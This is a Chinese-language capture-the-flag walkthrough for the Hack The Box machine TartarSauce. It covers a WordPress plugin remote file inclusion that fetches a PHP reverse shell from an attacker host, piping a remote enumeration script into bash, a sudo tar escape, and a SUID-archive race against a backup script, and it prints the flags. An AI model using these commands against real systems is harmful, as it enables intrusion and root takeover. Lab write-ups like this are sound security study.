TartarSauce Walkthrough

TartarSauce是Hack The Box的一個靶機(jī),其利用手法比較新穎,要求熟悉tar的使用原理。當(dāng)時做的時候,頭懵懵的,特此記錄下來,方便朋友們一起進(jìn)步。

nmap掃描端口,發(fā)現(xiàn)僅有80端口,可訪問到robots.txt。

由robots.txt可獲得monstra-3.0.4管理員登錄界面為http://10.129.1.185/webservices/monstra-3.0.4/admin/index.php

以admin/admin可以登錄,但試了好幾種monstra3.0.4漏洞利用方法都不成功,總提示“File was not uploaded”

gobuster搜索http://10.129.1.185/webservices,發(fā)現(xiàn)了wp目錄

使用了wordpress,可用wpscan進(jìn)行掃描。

注:執(zhí)行如下掃描,提示沒有任何插件

wpscan --urlhttp://10.129.1.185/webservices/wp -eap

ap? 指所有插件

只有采用如下命令才能檢測出插件

wpscan --urlhttp://10.129.1.185/webservices/wp -e u,ap --plugins-detection aggressive

--plugins-detection aggressive 使用較強(qiáng)的插件檢測模式,以便在掃描期間能夠檢測到更多的插件漏洞

查看該插件的readme.txt

http://10.129.1.185/webservices/wp/wp-content/plugins/gwolle-gb/readme.txt

在該文件的Changelog部分發(fā)現(xiàn)了有趣的內(nèi)容,由于wpscan會根據(jù)插件readme.txt的版本信息來檢測是否存在漏洞,所以此處網(wǎng)站管理員為了避免被檢測出漏洞,手動修改了插件的版本號,真正的版本號是1.5.3。

searchsploit gwolle

顯示存在遠(yuǎn)程文件包含,從利用腳本知道訪問如下URL

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/test

Kali Linux監(jiān)聽80端口,可看到如下信息

等于在我們訪問的test后面加上了wp-load.php字符。

知道了原理,我們修改php-reverse-shell.php,更改主機(jī)和端口,把名字改為wp-load.php

開啟web服務(wù)器+nc監(jiān)聽1234端口

python -m http.server 80

nc -lvnp 1234

訪問如下URL(修改/etc/hosts,建立IP地址和tartarsauce.htb的關(guān)系)就可獲得反向連接

http://tartarsauce.htb/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.14.17/

當(dāng)前用戶為www-data,連接到Kali Linux,運行LinEnum腳本進(jìn)行提權(quán)

curl 10.10.14.17/LinEnum.sh | bash

找到可疑之處,onuma不用密碼就能sudo執(zhí)行tar

到gtfobins上找tar的sudo做法

sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

由于是onuma才不需要密碼,需要改成sudo -u onuma

/bin/bash顯示效果比/bin/sh要好,最后利用語句為

sudo-u onumatar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

1、提交用戶標(biāo)志

7ec356c89f4e33bfab61ec66f82ccd8d

在用戶onuma下,仍舊運行LinEnum進(jìn)行提權(quán)

發(fā)現(xiàn)了一個可疑的systemtimer

執(zhí)行l(wèi)ocate backuperer,查找timer所在位置

我們將/usr/sbin/backuperer的內(nèi)容拷貝下來,了解程序的含義

#!/bin/bash

#-------------------------------------------------------------------------------------

# backuperer ver 1.0.2 - by ???g???

# ONUMA Dev auto backup program

# This tool will keep our webapp backed up incaseanother skiddie defaces us again.

# We will be able to quickly restore from a backupin seconds ;P

#-------------------------------------------------------------------------------------


# Set Vars Here

basedir=/var/www/html

bkpdir=/var/backups

tmpdir=/var/tmp

testmsg=$bkpdir/onuma_backup_test.txt

errormsg=$bkpdir/onuma_backup_error.txt

tmpfile=$tmpdir/.$(/usr/bin/head -c100/dev/urandom |sha1sum|cut -d' ' -f1)

check=$tmpdir/check


# formatting

printbdr()

{

??? for n in$(seq 72);

??? do/usr/bin/printf $"-";

??? done

}

bdr=$(printbdr)


# Added a test file to let us see when the lastbackup was run

/usr/bin/printf $"$bdr\nAuto backupbackuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg


# Cleanup from last time.

/bin/rm -rf $tmpdir/.* $check


# Backup onuma website dev files.

/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile$basedir &


# Added delay to wait for backup to complete iflarge files get added.

/bin/sleep 30


# Test the backup integrity

integrity_chk()

{

???/usr/bin/diff -r $basedir $check$basedir

}


/bin/mkdir $check

/bin/tar -zxvf $tmpfile -C $check

if [[ $(integrity_chk) ]]

then

??? # Reporterrors so the dev can investigate the issue.

???/usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran:? $(/bin/date)\n$bdr\n$tmpfile\n">> $errormsg

???integrity_chk >> $errormsg

??? exit 2

else

??? # Cleanup and save archive to the bkpdir.

??? /bin/mv$tmpfile $bkpdir/onuma-www-dev.bak

??? /bin/rm-rf $check .*

??? exit 0

fi

—onuma用戶執(zhí)行sudo,將/var/www/html目錄備份到/var/tmp下,并為其分配一個隨機(jī)的SHA文件名

—為了完成備份,腳本將休眠30秒

—創(chuàng)建一個新的臨時目錄/var/tmp/check,并將tar提取到此文件夾中

—對/var/tmp/check和/var/www/html下的文件運行完整性檢查。如果發(fā)現(xiàn)兩者不一致,則輸出錯誤信息到/var/backups/onuma_backup_error.txt;如果兩者相同,則將/var/tmp下的備份文件移到/var/backups/onuma-www-dev.bak中,并刪除/var/tmp/check目錄。

我們的攻擊計劃是:創(chuàng)建一個帶有SUID的tar文件,用它來替換在30秒睡眠時間之前產(chǎn)生的原始tar文件。后續(xù)如果提取了tar文件,將權(quán)限升級為root用戶。

在本機(jī)上建立var/www/html目錄

mkdir -p var/www/html

創(chuàng)建setuid.c文件

在本地進(jìn)行編譯到var/www/html目錄中

gcc setuid.c -m32 -static-o var/www/html/suid

注:由于目標(biāo)機(jī)為32位系統(tǒng),我們需要使用-m32選項。編譯前需要在本地安裝gcc-multilib和g++-multilib。為了防止在目標(biāo)機(jī)上運行程序時出現(xiàn)鏈接libc庫版本不對,使用-static將其編譯為靜態(tài)鏈接的程序。

sudo apt-get install gcc-multilib g++-multilib

為suid設(shè)置SUID位,然后用tar將其歸檔到var/www/html/目錄。

chmod u+s var/www/html/suid

tar zcvf suid.tar.gz var/

借助nc將suid.tar.gz上傳到目標(biāo)機(jī)

nc -lvnp 9001 < suid.tar.gz

nc 10.10.14.24 9001 > setuid.tar.gz

執(zhí)行下述命令,每隔1秒顯示當(dāng)前執(zhí)行的timer,當(dāng)剩余5秒鐘就可以開始操作了

watch -n 1 'systemctl list-timers'

將隨機(jī)文件.415824fc54ec68fd05177c453d4bbdebcf02a672替換為上傳的setuid.tar.gz

cp setuid.tar.gz .415824fc54ec68fd05177c453d4bbdebcf02a672

等待30秒睡眠后,將看到/var/tmp/下出現(xiàn)了check目錄,此時可執(zhí)/var/tmp/check/var/www/html/下的suid進(jìn)行提權(quán)

2、提交root標(biāo)志

4db485af1a778cdfabcb38941ee2eaf5

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點,簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容